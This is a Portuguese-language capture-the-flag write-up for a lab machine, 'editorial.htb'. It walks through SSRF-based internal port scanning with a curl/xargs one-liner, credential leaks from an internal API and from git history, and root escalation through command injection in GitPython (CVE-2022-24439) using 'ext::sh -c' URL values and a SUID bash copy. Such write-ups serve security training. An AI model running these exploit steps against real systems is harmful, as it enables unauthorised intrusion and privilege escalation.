Guia com dicas que podem te auxiliar na resolução do CTF antes de ler o write-up.
Escaneie portas do alvo para identificar serviços.
Analise a funcionalidade de upload de arquivos com um web proxy.
Teste URLs a serem aceitas pela aplicação, internas ou externas.
Preste atenção ao tempo de resposta e ao conteúdo retornado em requisições diferentes.
Descubra alguma porta aberta do lado do servidor.
Analise arquivos e endpoints da API em busca de informações sensíveis.
Acesse o alvo com a credencial obtida.
Revise repositórios de código em busca de segredos expostos.
Migre para outro usuário e observe suas permissões privilegiadas.
Identifique qual biblioteca do script está desatualizada.
Pesquise por CVEs relacionados à biblioteca identificada.
Utilize a vulnerabilidade encontrada para escalar privilégios no sistema.
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
┌──(root㉿attacker)-[/home/kali/CTF]└─#ping-c110.10.11.20PING10.10.11.20 (10.10.11.20) 56(84) bytes of data.64bytesfrom10.10.11.20:icmp_seq=1ttl=63time=46.7ms---10.10.11.20pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=46.707/46.707/46.707/0.000ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta nmap para verificar todas as portas (1-65535) do alvo e garantir que nenhum serviço passasse despercebido. Além disso, habilitamos a detecção de versões de serviços e scripts para ter mais informações detalhadas.
-sSCV: Realiza a descoberta de portas com SYN Scan, e em seguida escaneia as portas abertas, detectando versões de serviços e usando scripts do nmap.
-p-: Escaneia todas as portas possíveis (1-65535).
--min-rate=5000: Define uma taxa mínima de pacotes para acelerar a varredura.
-vv: Mostra mais detalhes durante o processo de varredura.
-n: Desabilita a resolução de DNS para acelerar o processo.
-Pn: Não realiza o ping, útil em casos de firewalls ou filtros ICMP.
-oN e -oX: Salvam os resultados em arquivos de texto e XML, respectivamente, para posterior análise.
A saída da varredura identificou duas portas abertas:
22/tcp: OpenSSH 8.9p1, usado para conexões SSH.
80/tcp: nginx 1.18.0, serviço HTTP.
Exploração HTTP
Ao investigar a porta 80, notamos que o site responde com o domínio editorial.htb. Esse domínio não é automaticamente resolvido pelo sistema, então é necessário adicionar manualmente o mapeamento no arquivo /etc/hosts para permitir que possamos acessá-lo corretamente.
Após isso, podemos testar a comunicação com o domínio:
┌──(root㉿attacker)-[/home/kali/CTF]└─#ping-c1editorial.htbPINGeditorial.htb (10.10.11.20) 56(84) bytes of data.64bytesfromeditorial.htb (10.10.11.20): icmp_seq=1 ttl=63 time=39.3ms---editorial.htbpingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=39.347/39.347/39.347/0.000ms
Agora, estamos prontos para interagir com o site.
O próximo passo é entender mais sobre o site rodando no servidor web. Utilizamos a ferramenta httpx para extrair informações sobre o servidor HTTP, como o status do servidor, tipos de conteúdo, e tecnologias utilizadas.
Status 200, o que indica que a página está acessível.
O título da página é Editorial Tiempo Arriba.
O servidor está rodando nginx 1.18.0 no Ubuntu.
Acessando o site no navegador, a página inicial sugere que é o site de uma loja editorial de livros. Nesse momento, temos uma visão geral da funcionalidade básica do site.
Para garantir que não estamos perdendo páginas ocultas ou recursos não documentados, usamos a ferramenta gospider para varrer o site em busca de links, formulários e outras possíveis páginas de interesse.
/upload: Uma página de envio de arquivos, que pode ser explorada para uploads maliciosos.
/about: Uma página com informações sobre o site, incluindo um e-mail de contato (submissions@tiempoarriba.htb).
Detalhes de livros e autores, que podem ser úteis para a criação de dicionários de ataque se necessário.
Esses recursos são essenciais para planejar a próxima etapa da exploração, especialmente o ponto de upload de arquivos, que pode permitir uma superfície de ataque caso nós como usuários tivermos controle sob o que pode ser enviado.
Exploração do Upload de Arquivos
Geralmente, funcionalidades de upload podem ser exploradas para comprometer um servidor, dependendo de como o upload é tratado e quais restrições existem para o tipo de arquivos aceitos. Decidi explorar essa funcionalidade para entender se haveria uma maneira de usá-la como vetor de ataque.
Primeiro Teste: Upload e Imagem
Para começar, eu realizei um teste básico com um arquivo de imagem legítimo, verificando como o sistema processa uploads normais. Baixei uma imagem qualquer para isso:
A partir deste ponto, abri o Burp Suite para monitorar e capturar todas as requisições relacionadas ao upload, a fim de observar o comportamento da aplicação.
Comportamento da Aplicação
A página de upload permite ao usuário fazer o upload de uma imagem diretamente de seu sistema ou fornecer uma URL para que o servidor faça o download da imagem. Aqui, temos dois possíveis caminhos para manipulação:
Upload de arquivo local: Enviar um arquivo malicioso a partir do meu sistema.
Upload via URL: Enviar uma URL que aponte para um servidor controlado por mim, permitindo monitorar as interações.
Decidi começar com o segundo caminho, fornecendo uma URL controlada para verificar se a aplicação buscaria a imagem diretamente do meu servidor. Para isso, iniciei um servidor HTTP simples na minha máquina de ataque, usando Netcat:
Ao fornecer a URL do meu servidor na página de upload e clicar em "Preview", observei que a aplicação realmente faz uma requisição para baixar a imagem diretamente do meu servidor.
Aqui está o tráfego capturado com Netcat:
┌──(root㉿attacker)-[/home/kali/CTF]└─#nc-nlvp80listeningon [any] 80 ...connectto [10.10.14.4] from (UNKNOWN) [10.10.11.20] 57824GET/mister-robot_3.jpgHTTP/1.1Host:10.10.14.4User-Agent:python-requests/2.25.1Accept-Encoding:gzip,deflateAccept:*/*Connection:keep-alive
Aqui podemos observar que o alvo fez um GET request para minha máquina, confirmando que o servidor está buscando arquivos de URLs externas.
Entendendo a Requisição
No Burp Suite, pude analisar mais detalhadamente o comportamento da aplicação. A requisição ao servidor é enviada para o endpoint /upload-cover, como mostrado abaixo:
POST /upload-cover HTTP/1.1Host:editorial.htbContent-Length:322Accept-Language:en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGaAccept:*/*Origin:http://editorial.htbReferer:http://editorial.htb/uploadAccept-Encoding:gzip, deflate, brConnection:keep-alive------WebKitFormBoundaryiOx64j3IqqiG0GGaContent-Disposition:form-data; name="bookurl"http://10.10.14.4/mister-robot_3.jpg------WebKitFormBoundaryiOx64j3IqqiG0GGaContent-Disposition:form-data; name="bookfile"; filename=""Content-Type:application/octet-stream------WebKitFormBoundaryiOx64j3IqqiG0GGa--
A imagem foi carregada no servidor, e a resposta indica que o arquivo foi armazenado em um caminho específico. O servidor retorna um identificador gerado aleatoriamente, o qual pode ser acessado no seguinte diretório:
Agora, podemos acessar a imagem através da URL http://editorial.htb/static/uploads/b58eacb7-8ce2-4f35-ae82-eb6b66fb3e8b.
Além disso, analisando a resposta da uma página "Not Found" que é rotornada, percebi que a aplicação parece ser baseada no framework Flask. Isso pode ser útil em futuras explorações, uma vez que o Flask tem comportamentos previsíveis e vulnerabilidades bem documentadas.
A resposta é típica de Flask, o que reforça a suposição:
Observei que, ao alterar a URL de upload para localhost, a aplicação demorou consideravelmente para responder, indicando que uma tentativa de resolução da URL ocorreu. Em contraste, URLs não existentes (como "haxor") retornaram instantaneamente, sugerindo que não houve resolução. Isso sugere que a aplicação pode estar vulnerável a SSRF.
O teste com localhost foi realizado da seguinte forma:
POST /upload-cover HTTP/1.1Host:editorial.htbContent-Length:302Accept-Language:en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGaAccept:*/*Origin:http://editorial.htbReferer:http://editorial.htb/uploadAccept-Encoding:gzip, deflate, brConnection:keep-alive------WebKitFormBoundaryiOx64j3IqqiG0GGaContent-Disposition:form-data; name="bookurl"http://localhost------WebKitFormBoundaryiOx64j3IqqiG0GGaContent-Disposition:form-data; name="bookfile"; filename=""Content-Type:application/octet-stream------WebKitFormBoundaryiOx64j3IqqiG0GGa--
O status da resposta foi 200 OK, e a aplicação demorou cerca de 20 segundos para responder. Isso indica que a aplicação tentou resolver a URL e possivelmente se conectou ao serviço em localhost.
Já, ao colocar URLs não existentes como "http://haxor", a resposta continua a ser um 200 OK, porém não houve demora na resposta.
Teste com Portas
Similarmente, ao testar portas:
Porta 80:
Requisição: http://localhost:80
Demora: ~20 segundos
Porta 1:
Requisição: http://localhost:1
Demora: ~48 milissegundos (resposta rápida)
Isso reforça a hipótese de que a aplicação está vulnerável a SSRF, já que a demora sugere uma conexão tentada.
Enumeração de Portas via SSRF
Agora, podemos explorar a possibilidade de um port discovery via SSRF. O objetivo é verificar quais portas estão abertas, utilizando o tempo e o conteúdo da resposta como indicativo.
O comando curl será utilizado com a opção -w para medir o tempo de resposta:
-o /dev/null: descarta o conteúdo da resposta, para que ele não apareça no terminal.
-s: modo silencioso, para suprimir as mensagens de progresso.
-w: personaliza a saída, mostrando o tempo total da requisição usando o time_total.
Utilizaremos o xargs para fazer uma requisição em paralelo a múltiplas portas e registrar o tempo de resposta. A ideia é criar um oneliner que faça requisições em massa.
┌──(root㉿attacker)-[/home/kali/CTF]└─# seq 1 3 | xargs -P100 -I@ curl -s https:/localhost:@ -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n'
[+] PORT 2 LENGTH: 0 TIME: 0.000550s[+] PORT 1 LENGTH: 0 TIME: 0.000211s[+] PORT 3 LENGTH: 0 TIME: 0.000167s
P100: Realiza até 100 requisições em paralelo.
I@: Substitui @ pelo número da porta na URL.
Os resultados devem ser armazenados em um arquivo ou visualizados no terminal, permitindo que você identifique rapidamente quais portas apresentaram uma resposta lenta. As portas que demoram mais para responder são as que potencialmente estão abertas no serviço alvo.
O primeiro passo foi copiar uma requisição HTTP do burp para ser utilizada com curl (selecionar “Copy as curl command (bash)”). A ideia é adaptar o comando para incluir o tempo da requisição, o que facilita a análise das portas.
Usamos a flag -w para exibir o tempo total de resposta (%{time_total}), e capturamos o comprimento da resposta (%{size_download}), o que nos permite observar diferenças de comportamento nas respostas.
Porta 1: a requisição foi rápida (0.094s) e retornou uma resposta com tamanho pequeno, indicando que não há nada significativo rodando nessa porta além da imagem padrão da aplicação:
Porta 80: como já haviamos visto com burp, a requisição demorou consideravelmente mais (~20 segundos), sugerindo que algo significativo pode estar rodando nessa porta. Este comportamento diferente é um indicativo para focarmos mais nela:
Para agilizar o processo, paralelizamos a execução dos comandos usando o xargs para testar várias portas simultaneamente. Aqui, testamos as portas 79, 80 e 81. Como esperado, a porta 80 teve um tempo de resposta muito maior (~20s) em relação às outras, demonstrando que nosso oneliner funciona como esperávamos, trazendo a porta escaneada, o tamanho de resposta, e quanto tempo tardou em responder:
Embora seja possível tentar escanear todas as 65.535 portas disponíveis, isso seria ineficiente e poderia sobrecarregar o servidor alvo. Como alternativa, optamos por limitar a busca às top 100 portas mais comuns que o Nmap escanearia em uma análise padrão de portas TCP.
A ideia aqui é que temos um total de 65.535 portas, mas realizar uma varredura em todas elas não é viável para esse contexto. Isso não apenas poderia resultar em um grande número de requisições e, consequentemente, sobrecarregar o servidor alvo, como também aumentaria o risco de um bloqueio devido ao volume de acessos. Além disso, isso poderia consumir tempo desnecessário, sem garantir que resultados relevantes sejam encontrados rapidamente.
Portanto, precisamos ser estratégicos na escolha das portas a serem escaneadas. Existem várias maneiras de limitar essa busca:
Escanear as portas mais frequentemente utilizadas por serviços específicos (como portas para serviços web: 80, 443, 8080, 8443, entre outras).
Buscar apenas portas associadas a determinados serviços, como aquelas mais comuns em servidores Ubuntu ou em aplicações Python/Flask, tecnologias que identificamos no alvo.
Usar uma lista pré-definida das portas mais escaneadas por ferramentas como o Nmap.
Nesse caso, decidi optar pelas top 100 portas TCP que o Nmap usa por padrão em um de seus modos de escaneamento. Essa abordagem permite focar em portas que são amplamente conhecidas por hospedar serviços comuns, maximizando as chances de sucesso sem sobrecarregar o alvo.
Gerando uma lista das top 100 portas
Para gerar essa lista, eu utilizei o Nmap para escanear as top 100 portas no localhost da minha máquina e salvei o resultado em um arquivo, para facilitar o processamento e reutilização posterior.
O arquivo de saída, top100.ports, contém as portas escaneadas:
┌──(root㉿attacker)-[/home/kali/CTF]└─#cattop100.ports# Nmap 7.94SVN scan initiated Sun Oct 20 12:44:19 2024 as: /usr/lib/nmap/nmap --top-ports 100 -v -oG top100.ports localhost
# Ports scanned: TCP(100;7,9,13,21-23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152-49157) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host:127.0.0.1 (localhost) Status: UpHost:127.0.0.1 (localhost) Ports: 8080/open/tcp//http-proxy/// Ignored State: closed (99)# Nmap done at Sun Oct 20 12:44:19 2024 -- 1 IP address (1 host up) scanned in 0.11 seconds
Com isso, o próximo passo foi extrair as portas em formato utilizável. Algumas delas estavam em intervalos (ex: 21-23), então precisei expandir esses intervalos.
Para extrair os intervalos e convertê-los em uma lista de portas individuais, usei um comando para buscar os intervalos presentes no arquivo e expandi-los com a ajuda de seq. Esse comando gera as portas em sequência e as salva no arquivo ports.txt:
Ainda faltavam algumas portas listadas individualmente no arquivo do Nmap. Para resolver isso, utilizei um segundo comando para capturar essas portas isoladas e adicioná-las ao arquivo ports.txt:
Finalmente executamos nosso oneliner. O objetivo é observar o tempo de resposta e o tamanho da resposta retornada. Essas informações podem indicar se a porta está aberta ou se há algo relevante rodando nessa porta.
┌──(root㉿attacker)-[/home/kali/CTF]└─#xargs-aports.txt-P100-I@curl--path-as-is-s-k-X$'POST' \ -H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
--data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:@\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \
$'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n' | tee -a SSRFports.txt
[+] PORT 22 LENGTH: 78 TIME: 0.125069s[+] PORT 21 LENGTH: 78 TIME: 0.127881s[+] PORT 26 LENGTH: 78 TIME: 0.185306s[+] PORT 143 LENGTH: 78 TIME: 0.149119s[+] PORT 81 LENGTH: 78 TIME: 0.163559s[+] PORT 110 LENGTH: 78 TIME: 0.166407s[+] PORT 79 LENGTH: 78 TIME: 0.186978s[+] PORT 443 LENGTH: 78 TIME: 0.151489s...<SNIP>...[+] PORT 32768 LENGTH: 167 TIME: 0.211919s[+] PORT 5900 LENGTH: 78 TIME: 0.253789s[+] PORT 80 LENGTH: 78 TIME: 20.221370s[+] PORT 9 LENGTH: 0 TIME: 60.159143s
Filtragem de resultados
Primeiro, agrupamos os resultados com base no tempo de resposta:
0 bytes: Em uma porta (indicando uma resposta vazia).
┌──(root㉿attacker)-[/home/kali/CTF]└─#grep-E"LENGTH: (0|167|71)"SSRFports.txt[+] PORT 49154 LENGTH: 167 TIME: 0.170387s[+] PORT 49153 LENGTH: 167 TIME: 0.211133s[+] PORT 49157 LENGTH: 167 TIME: 0.141848s[+] PORT 49152 LENGTH: 167 TIME: 0.210147s[+] PORT 10000 LENGTH: 167 TIME: 0.226688s[+] PORT 49156 LENGTH: 167 TIME: 0.183551s[+] PORT 49155 LENGTH: 167 TIME: 0.209484s[+] PORT 5000 LENGTH: 71 TIME: 0.139608s[+] PORT 32768 LENGTH: 167 TIME: 0.211919s[+] PORT 9 LENGTH: 0 TIME: 60.159143s
Observação com Burp Suite
Após identificar essas portas, passei a analisá-las usando o Burp Suite para confirmar se havia respostas válidas ou apenas falsos positivos. A porta 5000 chamou atenção ao retornar uma resposta diferente das demais. Ao tentar acessá-la, percebi que havia um comportamento semelhante a da rota de upload de arquivos.
POST /upload-cover HTTP/1.1Host:editorial.htbContent-Length:307Accept-Language:en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGaAccept:*/*Origin:http://editorial.htbReferer:http://editorial.htb/uploadAccept-Encoding:gzip, deflate, brConnection:keep-alive------WebKitFormBoundaryiOx64j3IqqiG0GGaContent-Disposition:form-data; name="bookurl"http://localhost:5000------WebKitFormBoundaryiOx64j3IqqiG0GGaContent-Disposition:form-data; name="bookfile"; filename=""Content-Type:application/octet-stream------WebKitFormBoundaryiOx64j3IqqiG0GGa--
O corpo da resposta indicava o caminho para um arquivo específico. Ao fazer o download desse arquivo, descobri que se tratava do output de uma API que fornecia algumas rotas úteis para futuras explorações.
Enumerando as rotas da API
O conteúdo obtido ao acessar o arquivo da porta 5000 apresentou várias rotas da API:
Filtrando o conteúdo do arquivo com o comando jq, extraí todas as rotas disponíveis:
Das rotas extraídas, o endpoint /authors revelou-se particularmente interessante. Ao acessá-lo, obtive um arquivo JSON que continha uma credencial de acesso.
┌──(root㉿attacker)-[/home/kali/CTF]└─#cat/home/kali/Downloads/6501b91b-5b07-4e91-8d06-a9abc37fa34c|jq|teeauthors.json{ "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
Identifiquei as seguintes credenciais:
Username: dev
Password: dev080217_devAPI!@
Acesso ao Alvo via SSH
Sabendo que a porta 22 (SSH) estava aberta no alvo, utilizei essas credenciais para tentar acesso via SSH e, para minha surpresa, funcionaram perfeitamente.
Após ganhar acesso inicial com a conta dev, comecei a explorar o sistema para identificar possíveis caminhos de movimentação lateral. Primeiramente, observei os usuários configurados no sistema:
Além do usuário dev, havia um outro usuário chamado prod, que parecia ser uma conta relevante, provavelmente ligada ao ambiente de produção do sistema. O próximo passo foi inspecionar os diretórios dos usuários:
Notei que o diretório do usuário prod estava presente, mas eu não tinha permissão de acesso direto. No entanto, ao explorar o diretório do usuário dev, encontrei uma pasta .git, que indicava que um projeto estava sendo versionado com Git. Esta é uma pista importante, pois commits de código às vezes podem expor informações sensíveis.
A partir dessa informação, decidi investigar os commits realizados, na esperança de encontrar informações úteis para avançar. Exibi o histórico de commits com o comando git log e percebi várias mudanças importantes no código relacionadas à API do sistema.
dev@editorial:~/apps$gitlogcommit8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD ->master)Author:dev-carlos.valderrama<dev-carlos.valderrama@tiempoarriba.htb>Date:SunApr3021:04:212023-0500fix:bugfixinapiportendpointcommitdfef9f20e57d730b7d71967582035925d57ad883Author:dev-carlos.valderrama<dev-carlos.valderrama@tiempoarriba.htb>Date:SunApr3021:01:112023-0500change:removedebugandupdateapiportcommitb73481bb823d2dfb49c44f4c1e6a7e11912ed8aeAuthor:dev-carlos.valderrama<dev-carlos.valderrama@tiempoarriba.htb>Date:SunApr3020:55:082023-0500change(api): downgrading prod to dev*Tousedevelopmentenvironment.commit1e84a036b2f33c59e2390730699a488c65643d28Author:dev-carlos.valderrama<dev-carlos.valderrama@tiempoarriba.htb>Date:SunApr3020:51:102023-0500feat:createapitoeditorialinfo*It (will) contains internal info about the editorial, this enablefasteraccesstoinformation.commit3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8Author:dev-carlos.valderrama<dev-carlos.valderrama@tiempoarriba.htb>Date:SunApr3020:48:432023-0500feat:createeditorialapp*Thiscontainsthebaseofthisproject.*Alsoweaddafeaturetoenabletoexternalauthorssendustheirbooksandvalidateafuturepostinoureditorial.
Entre esses commits, o que mais chamou minha atenção foi o commit 1e84a036b2f33c59e2390730699a488c65643d28, que mencionava a criação de uma API contendo informações internas sobre o editorial. Exibindo o conteúdo do commit com o comando git show, eu encontrei algo extremamente valioso: credenciais de acesso para o usuário prod!
dev@editorial:~/apps$gitshow1e84a036b2f33c59e2390730699a488c65643d28commit1e84a036b2f33c59e2390730699a488c65643d28Author:dev-carlos.valderrama<dev-carlos.valderrama@tiempoarriba.htb>Date:SunApr3020:51:102023-0500feat:createapitoeditorialinfo*It (will) contains internal info about the editorial, this enablefasteraccesstoinformation.diff--gita/app_api/app.pyb/app_api/app.py...<SNIP>...+defapi_mail_new_authors():+returnjsonify({+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+}) # TODO: replace dev credentials when checks pass++#-------------------------------+#Startprogram+#-------------------------------+if__name__=='__main__':+app.run(host='127.0.0.1', port=5001, debug=True)
Aqui estavam as credenciais de acesso para o usuário prod:
Username:prod
Password:080217_Producti0n_2023!@
Decidi testar essas credenciais para ver se poderia migrar para a conta prod. Para minha satisfação, a senha funcionou, me permitindo realizar a movimentação lateral para a conta prod usando o comando su.
Com a conta prod, agora eu tinha acesso a novos recursos e possivelmente mais privilégios no sistema.
Escalada de Privilégios via CVE-2022-24439
Após obtermos acesso ao usuário prod, decidi verificar as permissões de sudo que ele possuía. Ele pode rodar um script Python específico como root, o que poderia ser a chave para escalar privilégios. Executando o comando sudo -l, vejo que prod pode executar o script /opt/internal_apps/clone_changes/clone_prod_change.py com qualquer argumento:
prod@editorial:/home/dev/apps$sudo-l[sudo] password for prod: MatchingDefaultsentriesforprodoneditorial:env_reset,mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,use_ptyUserprodmayrunthefollowingcommandsoneditorial: (root) /usr/bin/python3/opt/internal_apps/clone_changes/clone_prod_change.py*
Fui analisar o conteúdo do script para entender melhor como ele funciona. O script em si é bastante simples, basicamente clona um repositório de uma URL especificada:
No entanto, com o uso do sudo sendo restringido por variáveis como env_reset e secure_path, parecia difícil encontrar um ponto de hijacking no script. Contudo, notei que ele utilizava a biblioteca GitPython.
Verifiquei os pacotes Python instalados no host e confirmei que a versão 3.1.29 da biblioteca GitPython estava instalada:
Pesquisando sobre esta versão da biblioteca, descobri que ela era vulnerável a um problema grave de Remote Code Execution (RCE) devido à forma como ela tratava as URLs dos repositórios Git. Essa vulnerabilidade foi corrigida na versão 3.1.30, mas o host ainda estava rodando a versão anterior.
O CVE associado a esta falha era o CVE-2022-24439, que permitia injeção de comandos ao fornecer uma URL maliciosa para o comando clone:
GitPython is a python library used to interact with Git repositories
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. This is only relevant when enabling the ext transport protocol.
PoC
from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])
Testei a PoC injetando o comando que cria um arquivo chamado "pwned" no diretório /tmp:
prod@editorial:/tmp/...$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/.../pwned'
Traceback (most recentcalllast):File"/opt/internal_apps/clone_changes/clone_prod_change.py",line12,in<module>r.clone_from(url_to_clone,'new_changes',multi_options=["-c protocol.ext.allow=always"])File"/usr/local/lib/python3.10/dist-packages/git/repo/base.py",line1275,inclone_fromreturncls._clone(git,url,to_path,GitCmdObjectDB,progress,multi_options,**kwargs)File"/usr/local/lib/python3.10/dist-packages/git/repo/base.py",line1194,in_clonefinalize_process(proc,stderr=stderr)File"/usr/local/lib/python3.10/dist-packages/git/util.py",line419,infinalize_processproc.wait(**kwargs)File"/usr/local/lib/python3.10/dist-packages/git/cmd.py",line559,inwaitraiseGitCommandError(remove_password_if_present(self.args),status,errstr)git.exc.GitCommandError:Cmd('git') faileddueto:exitcode(128)cmdline:gitclone-v-cprotocol.ext.allow=alwaysext::sh-ctouch%/tmp/.../pwnednew_changesstderr:'Cloning into 'new_changes'...fatal: Could not read from remote repository.Please make sure you have the correct access rightsand the repository exists.'
O comando retornou um erro relacionado ao Git, mas é apenas um erro superficial. Verificando o diretório /tmp vemos que o arquivo "pwned" foi criado com sucesso, e o dono era o root:
Sabendo que era possível executar comandos como root, aproveitei para injetar um comando mais útil. Criei um script Bash que copiava o binário /bin/bash para o diretório /tmp com permissão SUID, garantindo que ele pudesse ser executado como root posteriormente:
O script foi salvo como bash.sh, e com o mesmo processo de injeção, executei o script como root:
prod@editorial:/tmp/...$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c /tmp/.../bash.sh'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c /tmp/.../bash.sh new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
Mais uma vez, o comando retornou o mesmo erro de GitCommandError, mas o script foi executado com sucesso. Verifiquei o diretório /tmp e, como esperado, o binário brunobash foi criado com as permissões corretas:
prod@editorial:/tmp/...$ ls -la brunobash
-rwsrwsrwx 1 root root 1396520 Oct 20 16:24 brunobash
Agora, ao executar esse binário com a permissão SUID, obtive uma shell como root: